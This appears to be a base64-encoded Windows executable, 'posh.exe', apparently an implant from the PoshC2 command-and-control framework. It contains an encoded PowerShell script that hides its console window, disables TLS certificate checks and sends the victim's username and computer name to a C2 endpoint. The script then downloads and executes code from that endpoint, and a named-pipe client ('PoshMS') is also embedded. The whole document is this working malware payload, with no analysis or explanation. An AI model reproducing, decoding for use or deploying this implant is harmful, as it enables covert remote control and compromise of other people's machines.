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9sbGVjdGlvbnMASURpY3Rpb25hcnkAVW5pbnN0YWxsAGhXbmQAbkNtZFNob3cAY21kAHNhdmVkU3RhdGUAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAHBvc2gAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAERsbEltcG9ydEF0dHJpYnV0ZQBrZXJuZWwzMi5kbGwAdXNlcjMyLmRsbABTeXN0ZW0uVGV4dABFbmNvZGluZwBnZXRfVW5pY29kZQBDb252ZXJ0AEZyb21CYXNlNjRTdHJpbmcAR2V0U3RyaW5nAFN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24AU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5SdW5zcGFjZXMAUnVuc3BhY2VGYWN0b3J5AFJ1bnNwYWNlAENyZWF0ZVJ1bnNwYWNlAE9wZW4AUnVuc3BhY2VJbnZva2UAUGlwZWxpbmUAQ3JlYXRlUGlwZWxpbmUAQ29tbWFuZENvbGxlY3Rpb24AZ2V0X0NvbW1hbmRzAEFkZFNjcmlwdABTeXN0ZW0uQ29sbGVjdGlvbnMuT2JqZWN0TW9kZWwAQ29sbGVjdGlvbmAxAFBTT2JqZWN0AEludm9rZQBDbG9zZQBTdHJpbmdCdWlsZGVyAFN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljAElFbnVtZXJhdG9yYDEAR2V0RW51bWVyYXRvcgBnZXRfQ3VycmVudABBcHBlbmQASUVudW1lcmF0b3IATW92ZU5leHQASURpc3Bvc2FibGUARGlzcG9zZQBUb1N0cmluZwBTdHJpbmcAVHJpbQBTeXN0ZW0uQ29tcG9uZW50TW9kZWwAUnVuSW5zdGFsbGVyQXR0cmlidXRlAAAAmSFXAHcAQgBUAEEASABrAEEAYwB3AEIAMABBAEcAVQBBAGIAUQBBAHUAQQBFADQAQQBaAFEAQgAwAEEAQwA0AEEAVQB3AEIAbABBAEgASQBBAGQAZwBCAHAAQQBHAE0AQQBaAFEAQgBRAEEARwA4AEEAYQBRAEIAdQBBAEgAUQBBAFQAUQBCAGgAQQBHADQAQQBZAFEAQgBuAEEARwBVAEEAYwBnAEIAZABBAEQAbwBBAE8AZwBCAFQAQQBHAFUAQQBjAGcAQgAyAEEARwBVAEEAYwBnAEIARABBAEcAVQBBAGMAZwBCADAAQQBHAGsAQQBaAGcAQgBwAEEARwBNAEEAWQBRAEIAMABBAEcAVQBBAFYAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEARwBFAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAEQAQQBHAEUAQQBiAEEAQgBzAEEARwBJAEEAWQBRAEIAagBBAEcAcwBBAEkAQQBBADkAQQBDAEEAQQBlAHcAQQBrAEEASABRAEEAYwBnAEIAMQBBAEcAVQBBAGYAUQBBAE4AQQBBAG8AQQBaAGcAQgAxAEEARwA0AEEAWQB3AEIAMABBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBSAHcAQgBsAEEASABRAEEATABRAEIAWABBAEcAVQBBAFkAZwBCAGoAQQBHAHcAQQBhAFEAQgBsAEEARwA0AEEAZABBAEEAZwBBAEMAZwBBAEoAQQBCAEQAQQBHADgAQQBiAHcAQgByAEEARwBrAEEAWgBRAEEAcABBAEMAQQBBAGUAdwBBAE4AQQBBAG8AQQBKAEEAQgBrAEEAQwBBAEEAUABRAEEAZwBBAEMAZwBBAFIAdwBCAGwAQQBIAFEAQQBMAFEAQgBFAEEARwBFAEEAZABBAEIAbABBAEMAQQBBAEwAUQBCAEcAQQBHADgAQQBjAGcAQgB0AEEARwBFAEEAZABBAEEAZwBBAEMASQBBAFoAQQBCAGsAQQBDADgAQQBUAFEAQgBOAEEAQwA4AEEAZQBRAEIANQBBAEgAawBBAGUAUQBBAGkAQQBDAGsAQQBPAHcAQQBOAEEAQQBvAEEASgBBAEIAawBBAEMAQQBBAFAAUQBBAGcAQQBGAHMAQQBaAEEAQgBoAEEASABRAEEAWgBRAEIAMABBAEcAawBBAGIAUQBCAGwAQQBGADAAQQBPAGcAQQA2AEEARgBBAEEAWQBRAEIAeQBBAEgATQBBAFoAUQBCAEYAQQBIAGcAQQBZAFEAQgBqAEEASABRAEEASwBBAEEAawBBAEcAUQBBAEwAQQBBAGkAQQBHAFEAQQBaAEEAQQB2AEEARQAwAEEAVABRAEEAdgBBAEgAawBBAGUAUQBCADUAQQBIAGsAQQBJAGcAQQBzAEEAQwBRAEEAYgBnAEIAMQBBAEcAdwBBAGIAQQBBAHAAQQBEAHMAQQBEAFEAQQBLAEEAQwBRAEEAYQB3AEEAZwBBAEQAMABBAEkAQQBCAGIAQQBHAFEAQQBZAFEAQgAwAEEARwBVAEEAZABBAEIAcABBAEcAMABBAFoAUQBCAGQAQQBEAG8AQQBPAGcAQgBRAEEARwBFAEEAYwBnAEIAegBBAEcAVQBBAFIAUQBCADQAQQBHAEUAQQBZAHcAQgAwAEEAQwBnAEEASQBnAEEAdwBBAEQARQBBAEwAdwBBAHcAQQBEAGsAQQBMAHcAQQB5AEEARABBAEEATQBRAEEAMwBBAEMASQBBAEwAQQBBAGkAQQBHAFEAQQBaAEEAQQB2AEEARQAwAEEAVABRAEEAdgBBAEgAawBBAGUAUQBCADUAQQBIAGsAQQBJAGcAQQBzAEEAQwBRAEEAYgBnAEIAMQBBAEcAdwBBAGIAQQBBAHAAQQBEAHMAQQBEAFEAQQBLAEEARwBrAEEAWgBnAEEAZwBBAEMAZwBBAEoAQQBCAHIAQQBDAEEAQQBMAFEAQgBzAEEASABRAEEASQBBAEEAawBBAEcAUQBBAEsAUQBBAGcAQQBIAHMAQQBaAFEAQgA0AEEARwBrAEEAZABBAEIAOQBBAEMAQQBBAEQAUQBBAEsAQQBDAFEAQQBkAHcAQgBqAEEAQwBBAEEAUABRAEEAZwBBAEUANABBAFoAUQBCADMAQQBDADAAQQBUAHcAQgBpAEEARwBvAEEAWgBRAEIAagBBAEgAUQBBAEkAQQBCAFQAQQBIAGsAQQBjAHcAQgAwAEEARwBVAEEAYgBRAEEAdQBBAEUANABBAFoAUQBCADAAQQBDADQAQQBWAHcAQgBsAEEARwBJAEEAUQB3AEIAcwBBAEcAawBBAFoAUQBCAHUAQQBIAFEAQQBPAHcAQQBnAEEAQQAwAEEAQwBnAEEAawBBAEgAYwBBAFkAdwBBAHUAQQBGAFUAQQBjAHcAQgBsAEEARQBRAEEAWgBRAEIAbQBBAEcARQBBAGQAUQBCAHMAQQBIAFEAQQBRAHcAQgB5AEEARwBVAEEAWgBBAEIAbABBAEcANABBAGQAQQBCAHAAQQBHAEUAQQBiAEEAQgB6AEEAQwBBAEEAUABRAEEAZwBBAEMAUQBBAGQAQQBCAHkAQQBIAFUAQQBaAFEAQQA3AEEAQwBBAEEARABRAEEASwBBAEMAUQBBAGQAdwBCAGoAQQBDADQAQQBVAEEAQgB5AEEARwA4AEEAZQBBAEIANQBBAEMANABBAFEAdwBCAHkAQQBHAFUAQQBaAEEAQgBsAEEARwA0AEEAZABBAEIAcABBAEcARQBBAGIAQQBCAHoAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAZAB3AEIAagBBAEMANABBAFEAdwBCAHkAQQBHAFUAQQBaAEEAQgBsAEEARwA0AEEAZABBAEIAcABBAEcARQBBAGIAQQBCAHoAQQBEAHMAQQBEAFEAQQBLAEEAQwBRAEEAYQBBAEEAOQBBAEMASQBBAEkAZwBBAE4AQQBBAG8AQQBhAFEAQgBtAEEAQwBBAEEASwBBAEEAawBBAEcAZwBBAEsAUQBBAGcAQQBIAHMAQQBKAEEAQgAzAEEARwBNAEEATABnAEIASQBBAEcAVQBBAFkAUQBCAGsAQQBHAFUAQQBjAGcAQgB6AEEAQwA0AEEAUQBRAEIAawBBAEcAUQBBAEsAQQBBAGkAQQBFAGcAQQBiAHcAQgB6AEEASABRAEEASQBnAEEAcwBBAEMAUQBBAGEAQQBBAHAAQQBIADAAQQBEAFEAQQBLAEEAQwBRAEEAZAB3AEIAagBBAEMANABBAFMAQQBCAGwAQQBHAEUAQQBaAEEAQgBsAEEASABJAEEAYwB3AEEAdQBBAEUARQBBAFoAQQBCAGsAQQBDAGcAQQBJAGcAQgBWAEEASABNAEEAWgBRAEIAeQBBAEMAMABBAFEAUQBCAG4AQQBHAFUAQQBiAGcAQgAwAEEAQwBJAEEATABBAEEAaQBBAEUAMABBAGIAdwBCADYAQQBHAGsAQQBiAEEAQgBzAEEARwBFAEEATAB3AEEAMQBBAEMANABBAE0AQQBBAGcAQQBDAGcAQQBZAHcAQgB2AEEARwAwAEEAYwBBAEIAaABBAEgAUQBBAGEAUQBCAGkAQQBHAHcAQQBaAFEAQQA3AEEAQwBBAEEAVABRAEIAVABBAEUAawBBAFIAUQBBAGcAQQBEAGsAQQBMAGcAQQB3AEEARABzAEEASQBBAEIAWABBAEcAawBBAGIAZwBCAGsAQQBHADgAQQBkAHcAQgB6AEEAQwBBAEEAVQBBAEIAbwBBAEcAOABBAGIAZwBCAGwAQQBDAEEAQQBUAHcAQgBUAEEAQwBBAEEATgB3AEEAdQBBAEQAVQBBAE8AdwBBAGcAQQBGAFEAQQBjAGcAQgBwAEEARwBRAEEAWgBRAEIAdQBBAEgAUQBBAEwAdwBBADEAQQBDADQAQQBNAEEAQQA3AEEAQwBBAEEAUwBRAEIARgBBAEUAMABBAGIAdwBCAGkAQQBHAGsAQQBiAEEAQgBsAEEAQwA4AEEATwBRAEEAdQBBAEQAQQBBAEsAUQBBAGkAQQBDAGsAQQBEAFEAQQBLAEEARwBrAEEAWgBnAEEAZwBBAEMAZwBBAEoAQQBCAGoAQQBHADgAQQBiAHcAQgByAEEARwBrAEEAWgBRAEEAcABBAEMAQQBBAGUAdwBBAE4AQQBBAG8AQQBKAEEAQgAzAEEARwBNAEEATABnAEIASQBBAEcAVQBBAFkAUQBCAGsAQQBHAFUAQQBjAGcAQgB6AEEAQwA0AEEAUQBRAEIAawBBAEcAUQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFQAZwBCAGwAQQBIAFEAQQBMAGcAQgBJAEEASABRAEEAZABBAEIAdwBBAEYASQBBAFoAUQBCAHgAQQBIAFUAQQBaAFEAQgB6AEEASABRAEEAUwBBAEIAbABBAEcARQBBAFoAQQBCAGwAQQBIAEkAQQBYAFEAQQA2AEEARABvAEEAUQB3AEIAdgBBAEcAOABBAGEAdwBCAHAAQQBHAFUAQQBMAEEAQQBnAEEAQwBJAEEAVQB3AEIAbABBAEgATQBBAGMAdwBCAHAAQQBHADgAQQBiAGcAQgBKAEEARQBRAEEAUABRAEEAawBBAEUATQBBAGIAdwBCAHYAQQBHAHMAQQBhAFEAQgBsAEEAQwBJAEEASwBRAEEATgBBAEEAbwBBAGYAUQBBAGcAQQBDAFEAQQBkAHcAQgBqAEEAQwBBAEEAZgBRAEEATgBBAEEAbwBBAFoAZwBCADEAQQBHADQAQQBZAHcAQgAwAEEARwBrAEEAYgB3AEIAdQBBAEMAQQBBAGMAQQBCAHkAQQBHAGsAQQBiAFEAQgBsAEEASABJAEEASQBBAEIANwBBAEEAMABBAEMAZwBCAHAAQQBHAFkAQQBJAEEAQQBvAEEAQwBRAEEAWgBRAEIAdQBBAEgAWQBBAE8AZwBCADEAQQBIAE0AQQBaAFEAQgB5AEEARwA0AEEAWQBRAEIAdABBAEcAVQBBAEkAQQBBAHQAQQBHAFUAQQBjAFEAQQBnAEEAQwBRAEEAWgBRAEIAdQBBAEgAWQBBAE8AZwBCAGoAQQBHADgAQQBiAFEAQgB3AEEASABVAEEAZABBAEIAbABBAEgASQBBAGIAZwBCAGgAQQBHADAAQQBaAFEAQQByAEEAQwBJAEEASgBBAEEAaQBBAEMAawBBAGUAdwBBAGsAQQBIAFUAQQBQAFEAQQBpAEEARQA0AEEAVgBBAEEAZwBBAEUARQBBAFYAUQBCAFUAQQBFAGcAQQBUAHcAQgBTAEEARQBrAEEAVgBBAEIAWgBBAEYAdwBBAFUAdwBCAFoAQQBGAE0AQQBWAEEAQgBGAEEARQAwAEEASQBnAEIAOQBBAEcAVQBBAGIAQQBCAHoAQQBHAFUAQQBlAHcAQQBrAEEASABVAEEAUABRAEEAawBBAEcAVQBBAGIAZwBCADIAQQBEAG8AQQBkAFEAQgB6AEEARwBVAEEAYwBnAEIAdQBBAEcARQBBAGIAUQBCAGwAQQBIADAAQQBEAFEAQQBLAEEAQwBRAEEAYwBBAEIAeQBBAEcAVQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEASABrAEEAYwB3AEIAMABBAEcAVQBBAGIAUQBBAHUAQQBGAFEAQQBaAFEAQgA0AEEASABRAEEATABnAEIARgBBAEcANABBAFkAdwBCAHYAQQBHAFEAQQBhAFEAQgB1AEEARwBjAEEAWABRAEEANgBBAEQAbwBBAFYAUQBCAHUAQQBHAGsAQQBZAHcAQgB2AEEARwBRAEEAWgBRAEEAdQBBAEUAYwBBAFoAUQBCADAAQQBFAEkAQQBlAFEAQgAwAEEARwBVAEEAYwB3AEEAbwBBAEMASQBBAEoAQQBCAGwAQQBHADQAQQBkAGcAQQA2AEEASABVAEEAYwB3AEIAbABBAEgASQBBAFoAQQBCAHYAQQBHADAAQQBZAFEAQgBwAEEARwA0AEEAWABBAEEAawBBAEgAVQBBAE8AdwBBAGsAQQBIAFUAQQBPAHcAQQBrAEEARwBVAEEAYgBnAEIAMgBBAEQAbwBBAFkAdwBCAHYAQQBHADAAQQBjAEEAQgAxAEEASABRAEEAWgBRAEIAeQBBAEcANABBAFkAUQBCAHQAQQBHAFUAQQBPAHcAQQBrAEEARwBVAEEAYgBnAEIAMgBBAEQAbwBBAFUAQQBCAFMAQQBFADgAQQBRAHcAQgBGAEEARgBNAEEAVQB3AEIAUABBAEYASQBBAFgAdwBCAEIAQQBGAEkAQQBRAHcAQgBJAEEARQBrAEEAVgBBAEIARgBBAEUATQBBAFYAQQBCAFYAQQBGAEkAQQBSAFEAQQA3AEEAQwBRAEEAYwBBAEIAcABBAEcAUQBBAEkAZwBBAHAAQQBBADAAQQBDAGcAQQBrAEEASABBAEEATgBnAEEAMABBAEMAQQBBAFAAUQBBAGcAQQBGAHMAQQBRAHcAQgB2AEEARwA0AEEAZABnAEIAbABBAEgASQBBAGQAQQBCAGQAQQBEAG8AQQBPAGcAQgBVAEEARwA4AEEAUQBnAEIAaABBAEgATQBBAFoAUQBBADIAQQBEAFEAQQBVAHcAQgAwAEEASABJAEEAYQBRAEIAdQBBAEcAYwBBAEsAQQBBAGsAQQBIAEEAQQBjAGcAQgBsAEEAQwBrAEEARABRAEEASwBBAEMAUQBBAGMAQQBCAHQAQQBDAEEAQQBQAFEAQQBnAEEAQwBnAEEAUgB3AEIAbABBAEgAUQBBAEwAUQBCAFgAQQBHAFUAQQBZAGcAQgBqAEEARwB3AEEAYQBRAEIAbABBAEcANABBAGQAQQBBAGcAQQBDADAAQQBRAHcAQgB2AEEARwA4AEEAYQB3AEIAcABBAEcAVQBBAEkAQQBBAGsAQQBIAEEAQQBOAGcAQQAwAEEAQwBrAEEATABnAEIAawBBAEcAOABBAGQAdwBCAHUAQQBHAHcAQQBiAHcAQgBoAEEARwBRAEEAYwB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQQBpAEEARwBnAEEAZABBAEIAMABBAEgAQQBBAGMAdwBBADYAQQBDADgAQQBMAHcAQgBPAEEARQBFAEEATwBnAEEAMABBAEQAUQBBAE0AdwBBAHYAQQBHAE0AQQBiAHcAQgB1AEEARwA0AEEAWgBRAEIAagBBAEgAUQBBAEkAZwBBAHAAQQBBADAAQQBDAGcAQQBrAEEASABBAEEAYgBRAEEAZwBBAEQAMABBAEkAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEcANABBAGEAUQBCAGoAQQBHADgAQQBaAEEAQgBsAEEAQwA0AEEAUgB3AEIAbABBAEgAUQBBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEASwBBAEIAYgBBAEYATQBBAGUAUQBCAHoAQQBIAFEAQQBaAFEAQgB0AEEAQwA0AEEAUQB3AEIAdgBBAEcANABBAGQAZwBCAGwAQQBIAEkAQQBkAEEAQgBkAEEARABvAEEATwBnAEIARwBBAEgASQBBAGIAdwBCAHQAQQBFAEkAQQBZAFEAQgB6AEEARwBVAEEATgBnAEEAMABBAEYATQBBAGQAQQBCAHkAQQBHAGsAQQBiAGcAQgBuAEEAQwBnAEEASgBBAEIAdwBBAEcAMABBAEsAUQBBAHAAQQBBADAAQQBDAGcAQQBrAEEASABBAEEAYgBRAEEAZwBBAEgAMABBAEkAQQBBAE4AQQBBAG8AQQBKAEEAQgB3AEEARwAwAEEASQBBAEEAOQBBAEMAQQBBAGMAQQBCAHkAQQBHAGsAQQBiAFEAQgBsAEEASABJAEEARABRAEEASwBBAEcAawBBAFoAZwBBAGcAQQBDAGcAQQBKAEEAQgB3AEEARwAwAEEASwBRAEEAZwBBAEgAcwBBAEoAQQBCAHcAQQBHADAAQQBmAEEAQQBnAEEARwBrAEEAWgBRAEIANABBAEgAMABBAEkAQQBCAGwAQQBHAHcAQQBjAHcAQgBsAEEAQwBBAEEAZQB3AEEATgBBAEEAbwBBAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwAwAEEAYwB3AEIAcwBBAEcAVQBBAFoAUQBCAHcAQQBDAEEAQQBNAFEAQQB3AEEAQQAwAEEAQwBnAEIAdwBBAEgASQBBAGEAUQBCAHQAQQBHAFUAQQBjAGcAQQBnAEEASAB3AEEASQBBAEIAcABBAEcAVQBBAGUAQQBBAGcAQQBIADAAQQAAh2FZAFEAQgBrAEEARwBRAEEATABRAEIAVQBBAEgAawBBAGMAQQBCAGwAQQBDAEEAQQBMAFEAQgBoAEEASABNAEEAYwB3AEIAbABBAEcAMABBAFkAZwBCAHMAQQBIAGsAQQBJAEEAQQBpAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBRAHcAQgB2AEEASABJAEEAWgBRAEEAaQBBAEQAcwBBAEkAQQBBAE4AQQBBAG8AQQBKAEEAQgB3AEEARwBrAEEASQBBAEEAOQBBAEMAQQBBAGIAZwBCAGwAQQBIAGMAQQBMAFEAQgB2AEEARwBJAEEAYQBnAEIAbABBAEcATQBBAGQAQQBBAGcAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFMAUQBCAFAAQQBDADQAQQBVAEEAQgBwAEEASABBAEEAWgBRAEIAegBBAEMANABBAFQAZwBCAGgAQQBHADAAQQBaAFEAQgBrAEEARgBBAEEAYQBRAEIAdwBBAEcAVQBBAFEAdwBCAHMAQQBHAGsAQQBaAFEAQgB1AEEASABRAEEAVQB3AEIAMABBAEgASQBBAFoAUQBCAGgAQQBHADAAQQBLAEEAQQBuAEEARgBBAEEAYgB3AEIAegBBAEcAZwBBAFQAUQBCAFQAQQBDAGMAQQBLAFEAQQA3AEEAQwBBAEEARABRAEEASwBBAEMAUQBBAGMAQQBCAHAAQQBDADQAQQBRAHcAQgB2AEEARwA0AEEAYgBnAEIAbABBAEcATQBBAGQAQQBBAG8AQQBDAGsAQQBPAHcAQQBOAEEAQQBvAEEASgBBAEIAdwBBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBiAGcAQgBsAEEASABjAEEATABRAEIAdgBBAEcASQBBAGEAZwBCAGwAQQBHAE0AQQBkAEEAQQBnAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBTAFEAQgBQAEEAQwA0AEEAVQB3AEIAMABBAEgASQBBAFoAUQBCAGgAQQBHADAAQQBVAGcAQgBsAEEARwBFAEEAWgBBAEIAbABBAEgASQBBAEsAQQBBAGsAQQBIAEEAQQBhAFEAQQBwAEEARABzAEEASQBBAEEATgBBAEEAbwBBAEoAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYwBBAEIAeQBBAEMANABBAFUAZwBCAGwAQQBHAEUAQQBaAEEAQgBNAEEARwBrAEEAYgBnAEIAbABBAEMAZwBBAEsAUQBBAGcAQQBDADAAQQBjAGcAQgBsAEE